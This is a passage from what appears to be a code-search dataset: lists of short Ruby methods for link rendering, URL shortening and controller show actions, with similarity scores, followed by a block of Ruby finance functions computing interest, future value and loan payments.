"def add_uplink_set(uplink_set)\n @data['uplinkSets'] << uplink_set.data unless @data['uplinkSets'].include?(uplink_set.data)\n end",
"def summary\r\n ListingDataProcessor.new(self).set_auto_link self.description\r\n end",
"def view_lot_link\n \"#{app_config.urls['aurora_url_prefix']}/#{self.lot_num}\"\n end",
"def link_markup(descr = nil)\n descr = \"View resource.\" if descr == nil\n\n link = @reference_action_def.doi\n link = @reference_action_def.link if link.empty?\n return \"<a href=\\\"#{link}\\\" target=\\\"_blank\\\">#{descr}</a>\"\n end",
"def document_show_link_field\n Blacklight.config[:index][:show_link].to_sym\n end",
"def set_url\n @short = Short.find(params[:id])\n end",
"def artists\n link :top_artists, :Artist, country\n end",
"def show\t\t\t\t\n\t\t\tend",
"def add_href\n return if attributes.key?(\"href\")\n return unless attributes.key?(\"id\")\n attributes[\"href\"] = client.connection.api_path(\"#{collection.name}/#{attributes['id']}\")\n end",
"def content_htm\n link_to @options[:url], link_html_options do\n concat glyph_and_content_html\n concat badge_html if @options[:badge]\n end\n end",
"def show_link(str)\n cfg = @@cfg\n str.gsub!(' ','-')\n str << '.md'\n show_doc(cfg, str)\n end",
"def urp\n to_display = to_s\n @sections.clear\n to_display\n end",
"def set_shortlink\n @shortlink = Shortlink.find(params[:id])\n end",
"def show\n author_count = @journal.journal_authors.count\n author_map = @journal.journal_authors.each_with_index.map{|a, i|\n if i == 0\n if a.first_name.blank?\n \"#{a.last_name}\"\n else\n \"#{a.last_name}, #{a.first_name.strip.first}.\"\n end\n elsif i < author_count -1\n if a.first_name.blank?\n \", #{a.last_name}\"\n else\n \", #{a.last_name}, #{a.first_name.strip.first}.\"\n end\n else\n if a.first_name.blank?\n \" & #{a.last_name},\"\n else\n \" & #{a.last_name}, #{a.first_name.strip.first}. \"\n end\n end\n }.compact\n @author_string = author_map.join(\"\")\n top = @journal.page_range_end\n vol = \" vol. #{@journal.journal_volume},\" unless @journal.journal_volume.blank?\n jo = \" no. #{@journal.journal_number},\" unless @journal.journal_volume.blank?\n #@first = \"#{@author_string} #{@journal.publication_year.strftime('%Y')}, '#{@journal.article_title}',\"\n #@ital = \"#{@journal.journal_title},\"\n #@rest = \"vol. #{@journal.journal_volume}, no. #{@journal.journal_number}, pp. #{@journal.page_range_start}-#{top}.\"\n @ref = \"#{@author_string} #{@journal.publication_year.strftime('%Y')}, '#{@journal.article_title}', <i>#{@journal.journal_title}</i>,#{vol}#{jo} pp. #{@journal.page_range_start}-#{top}.\"\n end",
"def show\n initLists\n end",
"def display\n puts (\"[\" + @id.name + \", \" + @id.version + \"]\").green.bold\n puts \"author = \".blue + @author\n print \"wrapper = \".blue + @wrapper.to_s\n puts \", unique = \".blue + @unique.to_s\n puts\n\n puts \"[Path:]\".green.bold\n puts @path\n\n #\n # Display the provided elements\n #\n\n puts \"\\n[Provide]\".green.bold\n @provide.each do |context|\n puts \"\\n<Context #{context.name}>\".blue.bold\n OCMSet::SECTIONS.each { |section| context[section].each { |k| puts k } }\n end\n\n #\n # Display the required elements\n #\n\n if @require != nil then\n puts \"\\n[Require]\".green.bold\n OCMSet::SECTIONS.each { |section| @require[section].each { |k| puts k } }\n end\n\n end",
"def show\n\t\t end",
"def show\n @shortlink_histories = ShortlinkHistory.\n where(shortlink_id: @shortlink.id).\n order('created_at desc').all\n end",
"def short_link\n UrlShort::IsGd.shorten @link\n end",
"def short_url\n \"http://redd.it/#{self[:id]}\"\n end",
"def show\n @links = @cubboard.links\n @shelves = @cubboard.shelves\n end",
"def show\n @url = @url_article.source\n\n end",
"def show() end",
"def show() end",
"def show() end",
"def html(args = nil)\n if args and args[:edit]\n url = self.url_edit\n else\n url = self.url\n end\n\n return \"<a href=\\\"#{Knj::Web.ahref_parse(url)}\\\">#{self.name_html}</a>\"\n end",
"def show_filter\n perm_links = ministry.lmi_show.map { |lmi| \"lmi_total_custom_#{lmi}\" }\n table[:perm_link].in(perm_links)\n end",
"def link_action_show(path = nil)\n path ||= path_args(entry)\n link_action ti(:\"link.show\"), 'zoom-in', path\n end",
"def link_action_show(path = nil)\n path ||= path_args(entry)\n link_action ti(:\"link.show\"), 'zoom-in', path\n end",
"def show_links\r\n links = Document.new(self).get_links\r\n puts \"There are #{links.length} links\"\r\n index = 1\r\n links.each do |l|\r\n puts \"link: name: #{l.name}\"\r\n puts \" id: #{l.id}\"\r\n puts \" href: #{l.href}\"\r\n puts \" index: #{index}\"\r\n index += 1\r\n end\r\n end",
"def click_through_link\n\t\treturn '/items/' + self.items.first.slug if !self.items.first.blank?\n\t\treturn '/blog/' + self.blogs.first.slug if !self.blogs.first.blank?\n\t\treturn \"#\"\n\tend",
"def link\n\t\t\t@data['link']\n\t\tend",
"def set_fullurl\n @fullurl = Fullurl.find(params[:id])\n end",
"def easy\n url = params[:url]\n\n # Well, this would be super slow for mainstream processors, but\n # might be good enough for Mom's & Dad's shop\n link = Link.find_by_url(url)\n\n # Oops, we don't have this Url in tables yet\n if link.nil?\n link = Link.new\n link.url = url\n link.save\n end\n\n render :text => SHORT_URL + \"/\" + Base32::Crockford.encode(link.id)\n end",
"def ar_show_link resource= @resource\n link_to(controller.ardata.labels[:show], ar_resource_path('', resource))\n end",
"def link_to_manifestaion(mandoc)\n link = \"/page/search\"\n if mandoc[\"libname_display\"].length > 1\n libs = \"<div class='manLib'><label>Libraries:</label>\"\n mandoc[\"libname_display\"].each do |l|\n libs << \"<a href=#{link}>#{l}</a> , \"\n end\n libs.chop!\n libs << \"</div>\"\n else\n libs = \"<div class='manLib'><label>Library:</label><a href=#{link}>#{mandoc[\"libname_display\"].first}</a></div>\"\n end \n \"<div class='manFormat'>#{h(mandoc.get \"format_display\")} (#{h(mandoc.get \"date_display\")})</div>#{libs}\"\n end",
"def see_all_result\r\n see_all_result_lnk.click if has_see_all_result_lnk?\r\n end",
"def share_url\n section.to_s + \".\" + runningno.to_s + \"?edition=\" + edition_year.to_s\n end",
"def show\n @title = \"Grupo \" + @previa_group.name\n end",
"def links\n metadata[:links] || Set.new\n end",
"def raw_link\n BASE_URL + \"/pastes/#{@id}/text\" + (private? ? \"?key=#{@key}\" : '')\n end",
"def href\n super || '#'\n end",
"def updateDocumentationSetButton\n\t\t# documentationSet = selectedDocumentationSet\n\t\tdocumentationSet = documentationStore.documentationSetForBundleIdentifier('com.apple.adc.documentation.AppleSnowLeopard.CoreReference', version:nil)\n\t\tattributedTitle = attributedTitleForDocumentationSet(documentationSet)\n\t\tattributedTitle.addAttributes(documentationSetButtonAttributes, range:NSMakeRange(0, attributedTitle.length))\n\t\t\n\t\tdocumentationSetButton.setAttributedTitle(attributedTitle)\n\tend",
"def index\n @set_compilation_links = SetCompilationLink.all\n end",
"def show_title\n h2 { h @title.titles }\n text gs_title(@title)\n sources = []\n sources << a('Anime News Network Encyclopdia', :href => \"http://www.animenewsnetwork.com/encyclopedia/anime.php?id=#{@title.ann_id}\") unless @title.ann_id.nil?\n sources << a('AniDB', :href => \"http://anidb.net/perl-bin/animedb.pl?show=anime&aid=#{@title.anidb_id}\") unless @title.anidb_id.nil?\n \n unless sources.empty?\n p { \"View #{h @title.title} in #{sources.join(\", \")}.\" }\n end\n end",
"def short_url\n @short_url ||= details_page.css(\"#share_a_link\").attr(\"value\").value\n end",
"def short_url\n @short_url ||= details_page.css(\"#share_a_link\").attr(\"value\").value\n end",
"def publication_link\n h.link_to \"Read Now\" , object.publication_url , title: 'Read Now' , class: 'btn waves-effect waves-light btn-primary custom-btn' , target: '_blank'\n end",
"def show\n render_json :entry => @set and return\n end",
"def show\n render_json :entry => @set and return\n end",
"def set_show_detail\n @show_detail = true\n end",
"def eds_html_fulltext_link(options = nil)\n values, opt = extract_config_value(options)\n result = Array.wrap(values).reject(&:blank?)\n return unless result.present? && (doc = opt[:document])\n label = I18n.t('ebsco_eds.links.view', default: 'View')\n url =\n url_for(\n controller: Blacklight::Lens.key_for_doc(doc),\n action: :show,\n id: doc.id,\n anchor: FULL_TEXT_ANCHOR\n )\n make_eds_link(label: label, url: url)\n end",
"def show\n @hide_left_sidebar = true\n @survey_questions = get_survey_questions\n @survey_quota = @survey.quota\n reward_scheme_id = @survey.reward_schemes.where(:default => true).first.try(:_id)\n if reward_scheme_id.present?\n # @short_url = \"#{Rails.application.config.quillme_host}#{show_s_path(reward_scheme_id)}\"\n @short_url = \"#{request.protocol}#{request.host_with_port}#{show_s_path(reward_scheme_id)}\"\n result = MongoidShortener.generate(@short_url)\n if result.present?\n # @short_url = \"#{Rails.application.config.quillme_host}/#{result}\"\n @short_url = \"#{request.protocol}#{request.host_with_port}/#{result}\"\n end\n end\n end",
"def study_link_array(label, url)\n if study_id = url.first.match(/studyno=(\\d+)$/)\n study = Study.where(studynum: (study_id[1]).to_s).take\n unless study.nil?\n link_to('View Data Files', study_path(study))\n end\n else\n link_to label.first, url.first\n end\n end",
"def show\n\t end"
] | [
"0.6243538",
"0.6243538",
"0.6152521",
"0.5977365",
"0.5868611",
"0.586806",
"0.5857904",
"0.5857329",
"0.5838049",
"0.57813776",
"0.5776984",
"0.57643837",
"0.57371944",
"0.57341295",
"0.5717242",
"0.56426245",
"0.5606865",
"0.559819",
"0.557542",
"0.557542",
"0.5569722",
"0.5566364",
"0.5557902",
"0.5555818",
"0.5540017",
"0.55340016",
"0.5519706",
"0.5508132",
"0.54933345",
"0.54909176",
"0.5490607",
"0.54897153",
"0.5484592",
"0.5478875",
"0.5477938",
"0.5467753",
"0.5465731",
"0.5462781",
"0.5458684",
"0.54495955",
"0.5428998",
"0.5426957",
"0.5426613",
"0.54229957",
"0.5413735",
"0.5400647",
"0.5393779",
"0.5392702",
"0.53701127",
"0.536293",
"0.5362488",
"0.5353092",
"0.5350384",
"0.5329598",
"0.5325716",
"0.53193676",
"0.5316504",
"0.5315415",
"0.5309681",
"0.53061503",
"0.5293214",
"0.5280996",
"0.52728236",
"0.52666616",
"0.526666",
"0.52666044",
"0.5266604",
"0.5264208",
"0.5264208",
"0.5264208",
"0.526379",
"0.52630436",
"0.5263002",
"0.5263002",
"0.5261093",
"0.5258845",
"0.52566797",
"0.52550423",
"0.52539724",
"0.52531177",
"0.5249336",
"0.52443",
"0.524393",
"0.5238249",
"0.5232562",
"0.5229611",
"0.52283376",
"0.52208185",
"0.52130586",
"0.5210206",
"0.520819",
"0.520819",
"0.5205909",
"0.52037656",
"0.52037656",
"0.52013797",
"0.5198651",
"0.51982963",
"0.5197261",
"0.51936626"
] | 0.58607054 | 6 |
determine the future value of an investment of present_value with given interest rate over time periods number of periods (years) that the interest is cumulated rate the annual rate of return present_value the value at the start of the period compound_frequency number of compounds / period(year) | def future_value(rate,periods,present_value,compound_frequency = 1)
compound_frequency = resolve_compound_frequency!(compound_frequency)
if compound_frequency == :continuous
return continuous_compound_fv(rate,periods,present_value)
end
future_value = present_value * (1+rate/compound_frequency)** (periods * compound_frequency)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def present_value(rate,periods,future_value)\n present_value = future_value / (1+rate)**periods\n end",
"def compound_return(periods,present_value,future_value)\n pv = present_value.to_d\n fv = future_value.to_d\n n = periods.to_d\n rate = ((fv / pv)**(1/n))-1\n end",
"def future_given_present(present_value, interest, term)\n (present_value.to_f * (1 + interest.to_f) ** term).round(4)\n end",
"def present_given_future(future_value, interest, term)\n (future_value.to_f / (1 +interest.to_f) ** term).round(4)\n end",
"def anticipated_fixed_payment(present_value, rate, term)\n\t\t((present_value.to_f) / ((1 - (1 - rate.to_f ) ** term ) / rate.to_f )).round(4)\n end",
"def annuity_given_future(future_value, interest, term)\n (future_value.to_f * (interest.to_f / ((1 + interest) ** term)-1)).round(4)\n end",
"def anticipated_interest(rate, periods)\n\t\t (1 - (( 1 / ( rate.to_f + 1 )) ** (1.0 / periods)))\n\t\tend",
"def nominal_due_given_efective(effective_rate, periods)\n\t\t\t((((1 + (effective_rate.to_f/100))**(1/periods.to_f)-1)*periods.to_f)*100).round(4)\n end",
"def annuity_given_present(present_value, interest, term)\n interest = interest.to_f\n (present_value.to_f * ((interest * (1+interest) ** term) / (((1 + interest) ** term) -1))).round(4)\n end",
"def investment_horizon(rate,present_value,future_value)\n pv = present_value.to_d\n fv = future_value.to_d\n periods = Math.log(fv/pv) / Math.log(1+rate)\n end",
"def calculate_loan(rate, n_periods, total_loan_amount)\n fixed_payment = (rate /\n (1 - ((1 + rate)**(n_periods * - 1)))) * total_loan_amount\n\n fixed_payment.to_f\nend",
"def future_given_annuity(annuity, interest, term)\n (annuity * (((1 + interest.to_f) ** term) -1) / interest.to_f ).round(4)\n end",
"def calculate_years(principal, interest, tax, desired)\n# principal amount\n year = 0\n while principal < desired\n year += 1\n income = principal * interest\n principal += income - income * tax\n end\n year\nend",
"def effective_annual_rate(rate,compound_frequency)\n compound_frequency = resolve_compound_frequency!(compound_frequency)\n if compound_frequency == :continuous\n return continuous_effective_annual_rate(rate)\n end\n m= compound_frequency\n e_rate = (1 + rate/m)**m -1\n end",
"def expression_value\n return @expression_value if defined?(@expression_value)\n\n subexpr_value =\n (1 + periodic_interest_rate) ** total_number_of_payments\n @expression_value =\n (periodic_interest_rate * subexpr_value) / (subexpr_value - 1)\n end",
"def calculate_payment\n x = @periodic_rate * @principal * ((1 + @periodic_rate)**@periods)\n y = ((1 + @periodic_rate)**@periods) - 1\n (x / y).round(2)\n end",
"def net_present_value\n lambda do |x|\n relative_payments.reduce(0) do |sum, relative_payment|\n sum + relative_payment.amount * (1 + x)**-relative_payment.offset\n end\n end\n end",
"def compound_interest(rate, count = 1, period = 12)\n Money.new(cents * ((1 + rate / 100.0 / period) ** count - 1))\n end",
"def installment_value(interest_rate, financing_time_months, loan_value)\n @installment_calculator.calculate(interest_rate, financing_time_months, loan_value)\n end",
"def nominal_anticipated_given_efective(effective_rate, periods)\n nominalRate = (1+(effective_rate.to_f/100))**(1/periods.to_f)-1\n toAnticipated = nominalRate / (1+nominalRate)\n (toAnticipated * periods.to_f * 100).round(4)\n end",
"def calculate_interest principle, days_since\n (principle * APR / 365 * days_since).round(2)\n end",
"def calculate_years(principal, interest, tax, desired)\n i = 0\n return i if principal == desired\n \n while principal < desired\n principal += (principal * interest) - (principal * interest * tax)\n i += 1\n end\n \n i\nend",
"def calculate(loan_value, financing_time_months, interest_rate, loan_date = Date.today)\n balance = loan_value\n installment = installment_value(interest_rate, financing_time_months, loan_value)\n installment_date = loan_date.next_month\n iof = 0\n\n financing_time_months.step(1, -1) do |_|\n amortization = installment - interest_part(balance, interest_rate)\n\n days = past_days(loan_date, installment_date)\n\n iof += amortization*(@iof_day*(minimal_days(days)))\n iof += amortization*@iof_additional\n\n balance -= amortization\n installment_date = installment_date.next_month\n end\n\n loan_iof(iof, loan_value)\n end",
"def rates_prediction\r\n final_array = []\r\n today = today_rate\r\n weekly_change = weekly_percentage_change_array\r\n\r\n first = ((weekly_change[0] / 100) * today) + today\r\n final_array << first\r\n\r\n if @time > 1\r\n i = 0\r\n while i < weekly_change[1].length\r\n rate = ((weekly_change[1][i] / 100) * final_array[i]) + final_array[i]\r\n final_array << rate\r\n i += 1\r\n end\r\n end\r\n final_array\r\n end",
"def annual_ror(initial_value, final_value, years)\n if years <= 0\n 0\n elsif initial_value == 0\n # BigDecimal::INFINITY\n Float::INFINITY\n else\n 100.to_d * if final_value < 0 # fudge if final value is less than zero\n (((initial_value.to_d - final_value.to_d) / initial_value.to_d) ** (1 / years.to_d)) * -1\n else\n ((final_value.to_d / initial_value.to_d) ** (1 / years.to_d)) - 1\n end\n end\n end",
"def net_present_value_derivative\n lambda do |x|\n relative_payments.reduce(0) do |sum, relative_payment|\n sum + relative_payment.amount * -relative_payment.offset * (1 + x)**(-relative_payment.offset - 1)\n end\n end\n end",
"def calculate_years(principal, interest, tax, desired)\n total = principal\n years = 0\n loop do\n break if total >= desired\n total_interest = total*interest\n total += total_interest\n total -= total_interest*tax\n years += 1\n end\n years\nend",
"def calculate_interest(principal, roi, time)\n rate = roi.to_f / 100\n amount = principal.to_f * (1 + rate * time.to_f)\n\n amount\nend",
"def grow_one_year(starting_balance, growth_rate)\n starting_balance * (1.0 + growth_rate)\nend",
"def calculate_interest(current_period, previous_period=0)\n previous_balance = @txns[previous_period][:balance]\n period_of_interest = current_period - previous_period\n @interest += (previous_balance * daily_interest * period_of_interest).round(2)\n end",
"def total_amount_owed(principal, interest_rate_percentage, number_of_years)\n annual_percentage_rate = interest_rate_percentage / 100\n principal * (1 + annual_percentage_rate * number_of_years)\nend",
"def efective_given_nominal_due(nominal_rate, term)\n ((((1+((nominal_rate.to_f/100)/term))**term)-1).round(6))*100\n end",
"def pmt(interest_rate,payments,principal)\n numerator =interest_rate*principal*(1 + interest_rate)**payments\n denominator= (1+ interest_rate)**payments - 1\n return numerator/denominator.to_f\nend",
"def daily_interest\n @apr / 100.0 / 365\n end",
"def cash_forecast(org_id = nil)\n\n if org_id\n line_items = funding_line_items.where('organization_id = ?', org_id)\n else\n line_items = funding_line_items\n end\n\n first_year = line_items.empty? ? current_fiscal_year_year : line_items.first.fy_year\n\n a = []\n cum_amount = 0\n cum_spent = 0\n cum_committed = 0\n\n (first_year..last_fiscal_year_year).each do |yr|\n year_amount = 0\n year_spent = 0\n year_committed = 0\n\n list = line_items.where('fy_year = ?', yr)\n list.each do |fli|\n year_amount += fli.amount\n year_spent += fli.spent\n year_committed += fli.committed\n end\n\n cum_amount += year_amount\n cum_spent += year_spent\n cum_committed += year_committed\n\n # Add this years summary to the cumulative amounts\n a << [fiscal_year(yr), cum_amount, cum_spent, cum_committed]\n end\n a\n\n end",
"def interest(rate)\n raise ArgumentError.new \"The rate must be a positive number\" if rate < 0\n interest = @balance * rate/100\n @balance += interest\n return interest\n end",
"def call(year)\n previous_year = Population.previous_known(year)\n\n return previous_year.population if previous_year.year == year # year entered is known\n\n next_year = Population.next_known(year)\n\n # there is no next year - unable to calculate\n return nil if next_year.nil? \n\n # calculate the percentage that year is between next and previous years\n mod_percentage = (year - previous_year.year).to_f / (next_year.year - previous_year.year).to_f\n delta_population = next_year.population - previous_year.population\n\n (delta_population * mod_percentage).to_i + previous_year.population\n end",
"def frm(r, n, po)\n\t## \n\t# interest rate is converted to fraction and made a monthly\n\tr = r.to_f/100/12\n\t##\n\t#number of years is converted to number of months\n\tn = n * 12\n\t##\n\t#monthly payment is calculated\n\tc = (r / (1 - (1+r) ** -n) ) * po\n\treturn c\nend",
"def simple_interest(rate, count = 1, period = 12)\n Money.new(rate / 100 / period * cents * count)\n end",
"def estimate_embargo_period( issued, embargo_release )\n period = Date.parse( embargo_release ) - Date.parse( issued )\n case period.to_i\n when 0\n return ''\n when 1..186\n return GenericWork::EMBARGO_VALUE_6_MONTH\n when 187..366\n return GenericWork::EMBARGO_VALUE_1_YEAR\n when 367..731\n return GenericWork::EMBARGO_VALUE_2_YEAR\n when 732..1825\n return GenericWork::EMBARGO_VALUE_5_YEAR\n else\n return GenericWork::EMBARGO_VALUE_FOREVER\n end\n end",
"def required_annual_savings\n needed_amount_less_savings / years_to_retirement\n end",
"def interest_part(balance, interest_rate)\n balance*(interest_rate/100)\n end",
"def present_value\n # Payoff amount = 0, we’re assuming a fully amortizing loan\n payoff_amount = 0\n end",
"def pv\n factor = (1.0 + monthly_rate)**duration\n second_factor = (factor - 1) * (1 + monthly_rate * ptype) / monthly_rate\n\n -(future_value + (payment.to_f * second_factor)) / factor\n end",
"def compound_interest\n\tp \"What is the principal amount?\"#\n\tprincipal = gets.chomp.to_i\n\tp \"What is the rate?\"\n\trate = gets.chomp.to_f\n\tp \"What is the number of years?\"\n\tterm = gets.chomp.to_i\n\tp \"What is the number of time the interest in compounded per year?\"\n\tcompounded = gets.chomp.to_i\n\t\n\tnew_rate = ((rate / compounded)/100) + 1\n\ttotal = principal\n\t(term * compounded).times do\n\t\ttotal = total * new_rate\n\tend\n\t\n\tp \"$#{principal} invested at #{rate}% for #{term} years compounded #{compounded} times per year is #{total.round(2)}\"\n\t\nend",
"def interest\n return (@capital / 100) * @rate\n end",
"def calculate_interest(amount, number_of_days)\n (amount * (0.03 / 365) * (number_of_days - 1)).round(10)\n end",
"def founded\n @founded ||= date_from_components(@founded_year, @founded_month, @founded_day) \n end",
"def get_quarterly\n # get last year earnings\n l_year = latest_eps.year\n\n # get which quarters are the last 4\n fp = doc.xpath('//tr').detect{ |tr| tr.xpath('./td').first != nil && tr.xpath('./td').first['title'] == \"Fiscal Period\" }\n fp = fp.xpath('./td') if fp\n\n if fp.nil?\n puts \"--------------------------------------Cannot get info for #{ticker}\"\n return false\n end\n # Find last year by counting 'td's up to \"TMM\"\n years_available = 0 # Some stocks may not have 10 years worth of data\n for i in 1..fp.size\n if fp[i].nil? || !fp[i].text.match(\"TTM\").nil?\n break\n end\n years_available = i\n end\n\n puts \"Counted #{years_available} years of available data for #{ticker}\"\n\n update_year = 1 # Some stocks may not be updated for 2012 yet\n update_year = 0 if fp[years_available].text.last == \"2\"\n\n\n\n\n #Acces data page\n url = \"http://www.gurufocus.com/financials/#{ticker}\"\n doc = open_url_or_nil(url)\n if doc.nil?\n puts \"Could not get quarterly finantial data from gurufocus.com\"\n return false\n end\n\n # Get last 4 quarters quarterly data\n # Check first if all 4 quarters are available?\n (1..4).each do |i|\n if fp[i].nil? || !fp[i].text.match(\"TTM\").nil?\n break\n end\n years_available = i\n end\n\n puts \"Counted #{years_available} years of available data for #{ticker}\"\n\n update_year = 1 # Some stocks may not be updated for 2012 yet\n update_year = 0 if fp[years_available].text.last == \"2\"\n\n # A boolean to test if current asset values are available\n using_current_data = true\n\n # Scrape data from doc\n # Current Assets\n ca = doc.xpath('//tr').detect{ |tr| tr.xpath('./td').first != nil && tr.xpath('./td').first['title'] == \"Total Current Assets\" }\n if ca\n ca = ca.xpath('./td')\n else\n using_current_data = false\n end\n\n ta = doc.xpath('//tr').detect{ |tr| tr.xpath('./td').first != nil && tr.xpath('./td').first['title'] == \"Total Assets\" }\n ta = ta.xpath('./td') if ta\n\n cl = doc.xpath('//tr').detect{ |tr| tr.xpath('./td').first != nil && tr.xpath('./td').first['title'] == \"Total Current Liabilities\" }\n if cl\n cl = cl.xpath('./td')\n else\n using_current_data = false\n end\n\n tl = doc.xpath('//tr').detect{ |tr| tr.xpath('./td').first != nil && tr.xpath('./td').first['title'] == \"Total Liabilities\" }\n tl = tl.xpath('./td') if tl\n\n # Debt, book value, net tangible assets\n ltd = doc.xpath('//tr').detect{ |tr| tr.xpath('./td').first != nil && tr.xpath('./td').first['title'] == \"Long-Term Debt\" }\n ltd = ltd.xpath('./td') if ltd\n\n bv = doc.xpath('//tr').detect{ |tr| tr.xpath('./td').first != nil && tr.xpath('./td').first['title'] == \"Total Equity\" }\n bv = bv.xpath('./td') if bv\n\n ocs = doc.xpath('//tr').detect{ |tr| tr.xpath('./td').first != nil && tr.xpath('./td').first['title'] == \"Other Current Assets\" }\n ocs = ocs.xpath('./td') if ocs\n\n # Create balance sheet for 10 years\n (1..years_available).each do |i|\n cas = \"\"\n cls = \"\"\n ntas = \"\"\n if using_current_data\n cas = (clean_string(ca[i].text).to_f.round * MILLION).to_s\n cls = (clean_string(cl[i].text).to_f.round * MILLION).to_s\n if ocs\n ntas = (( clean_string(ca[i].text).to_f - clean_string(ocs[i].text).to_f - clean_string(cl[i].text).to_f ).round * MILLION ).to_s\n else\n ntas = cas\n end\n end\n\n # Some trusts don't have liabilities\n tler = \"\"\n tler = (clean_string(tl[i].text).to_f.round * MILLION).to_s if tl\n der = \"\"\n der = (clean_string(ltd[i].text).to_f.round * MILLION).to_s if ltd\n bver = \"\"\n bver = (clean_string(bv[i].text).to_f.round * MILLION).to_s if bv\n bs = BalanceSheet.create(:stock_id => self.id,\n :year => YEAR - (years_available+1 - i) - update_year, #This reveses the year from i\n :current_assets => cas,\n :total_assets => (clean_string(ta[i].text).to_f.round * MILLION).to_s,\n :current_liabilities => cls,\n :total_liabilities => tler,\n :long_term_debt => der,\n :net_tangible_assets => ntas,\n :book_value => bver,\n :quarter => q)\n puts \"Got bs data for #{ticker}, year: #{bs.year}, ta = #{bs.total_assets}\" if !bs.id.nil?\n end\n\n update_attributes( :has_currant_ratio => using_current_data)\n\n end",
"def get_present_value\n self.composite_share_value = (self.get_composite_share_value / ((1 + ValuationEngine::Constants.get_exchange(self.stock_ticker))**self.class.years_horizon)).round(2)\n end",
"def next_charge\n ( pre_finalised_quote * relative_progress / 100 ) - charged_so_far\n end",
"def debt_rate\n ten_year_treasury + bps(200)\n end",
"def depositProfit(deposit, rate, threshold)\n count = 0\n profit = deposit\n \n while profit < threshold do\n count += 1\n profit += ((profit*rate)/100).to_f\n end\n \n if rate == 1\n threshold - deposit\n else\n count\n end\nend",
"def calculate_apr\n payment_ratio = pmt / principal_calculation\n duration = @duration\n f = lambda {|k| (k**(duration + 1) - (k**duration * (payment_ratio + 1)) + payment_ratio)}\n f_deriv = lambda { |k| ((duration + 1) * k**duration) - (duration * (payment_ratio + 1) * k**(duration - 1))}\n\n root = newton_raphson(f, f_deriv, monthly_rate + 1)\n 100 * 12 * (root -1).to_f\n end",
"def future(year, month, day)\n years = (10 ** 9) / 60 / 60 / 24 / 365\n days = (10 ** 9) / 60 / 60 / 24 % 365\n\n year = year + years\n \n\nend",
"def yearly_rate\n\t\t yearly? ? rate : rate * 12\n\t\t end",
"def calculateInterest\n\t\tinterest = 0\n\t\[email protected] do |trans|\n\t\t\tinterest += -1 * ((31 - trans[0]) * trans[-1] * @APR / 365)\n\t\tend\n\t\tinterest < 0 ? 0 : interest.round(2)\n\tend",
"def to_extend_now\n length = self.this_year.contract.contract_length \n auction_value = self.current_contract.subcontracts.first.salary_amount\n this_progression = SalaryProgression.find_by_auction_value(auction_value).attributes.to_a\n next_salary = this_progression[(length + 1)][1]\n return next_salary\n end",
"def yearly_rate\n yearly? ? rate : rate * 12\n end",
"def forecast_finish_date(basis_hours)\n if complete_ev(basis_hours) == 100.0\n @ev.keys.max\n elsif today_spi(basis_hours) == 0.0\n @pv.keys.max\n else\n if @issue_max_date < @basis_date\n rest_days = (@pv[@pv.keys.max] - @ev[@ev.keys.max]) / today_spi(basis_hours) / basis_hours\n @basis_date + rest_days\n else\n rest_days = @pv.count { |key, _value| key > @basis_date }\n @pv.keys.max - (rest_days - (rest_days / today_spi(basis_hours)))\n end\n end\n end",
"def portfolio_value(fake_yahoo_api)\n # Go through our positions and add them up, then add in the cash balance\n @positions.map { |key, value| fake_yahoo_api.get_latest_price(key) * @positions[key] || 0 }\n .reduce(:+) || 0\n + account_balance\n end",
"def rate\n Rate.new(self.interest/100, :apr, duration: self.tenure * 12)\n end",
"def us_treas_10_year_rate\n # In real life call a web service to get it, but I will return a constant here\n 0.02124\n end",
"def usd_value\n # CBR.ru may not update exchange rate on holidays\n # so the we need the most recent exchange rate up to date.\n # It is assumed here that exchange rate is updated at least once a month\n Time.use_zone('Europe/Moscow') do\n today = Time.zone.now\n date1 = (today-1.month).strftime(\"%d/%m/%Y\")\n date2 = today.strftime(\"%d/%m/%Y\")\n url = \"http://www.cbr.ru/scripts/XML_dynamic.asp?date_req1=#{date1}&date_req2=#{date2}&VAL_NM_RQ=R01235\"\n begin\n page = Net::HTTP::get(URI(url))\n xml = Nokogiri::XML(page)\n val = xml.xpath('//ValCurs//Record//Value').last.content\n m = val.match(/(?<rubl>\\d+)(.|,)(?<cop>\\d+)/)\n BigDecimal(\"#{m[:rubl]}.#{m[:cop]}\")\n rescue StandardError => error\n # rescuing StandardError is a bad practice\n # but for the sake of a simplification\n # we don't care here if it's a timeout, 503 or the response xml is malformed\n nil\n end\n end\n end",
"def new_sale_price \n noi(num_years_to_hold + 1) / cap_rate(num_years_to_hold + 1)\n end",
"def yearly_rate(*args)\n if paid?\n if yearly?\n rate(*args) / duration_parts[0] #number of years\n else\n rate(*args) / duration_in_months * 12\n end\n else\n nil\n end\n end",
"def nper\n z = payment * (1.0 + monthly_rate * ptype) / monthly_rate\n\n Math.log(-future_value + z / (amount + z)) / Math.log(1.0 + monthly_rate)\n end",
"def fixed_monthly_payment(amount, months, ir )\n amount*( ir * ( 1 + ir ) **months )/(( 1 + ir )**months - 1 )\nend",
"def interest(amount)\n if amount <= 1000\n 0.04 * amount\n elsif amount <= 5000\n 0.045 * amount\n else\n 0.05 * amount\n end\nend",
"def cash_flow(org = nil)\n\n if org\n line_items = grants.where('organization_id = ?', org.id)\n else\n line_items = grants\n end\n\n first_year = line_items.empty? ? current_fiscal_year_year : line_items.first.fy_year\n\n a = []\n balance = 0\n\n (first_year..last_fiscal_year_year).each do |yr|\n year_amount = 0\n year_spent = 0\n year_committed = 0\n\n list = line_items.where('fy_year = ?', yr)\n list.each do |fli|\n year_amount += fli.amount\n year_spent += fli.spent\n year_committed += fli.committed\n end\n\n balance += year_amount - (year_spent + year_committed)\n\n # Add this years summary to the array\n a << [fiscal_year(yr), year_amount, year_spent, year_committed, balance]\n end\n a\n\n end",
"def calculate_interest(days_since_transaction)\n\t\t@interest << @balance * @apr / 365 * days_since_transaction\n\tend",
"def pmt (interest_rate, nper, pv)\n\t#monthly_payment = 1.00\n\tmonthly_payment = (pv*interest_rate*((1+interest_rate)**nper))/(((1+interest_rate)**nper)-1)\n\treturn monthly_payment\nend",
"def insurance_fee\n (COMMISSION_RATE * INSURANCE_PART_RATE * price).round\n end",
"def mortgage_calc principle, annual_interest, years\n n = years * 12\n r = (annual_interest / 100)/ 12 #since this is usually expressed as a percentage\n return (principle * r * (1 + r)**n / ((1 + r)**n - 1)).round(2)\nend",
"def annualized_portfolio_amount_needed\n savings_portion_needed * 12.0\n end",
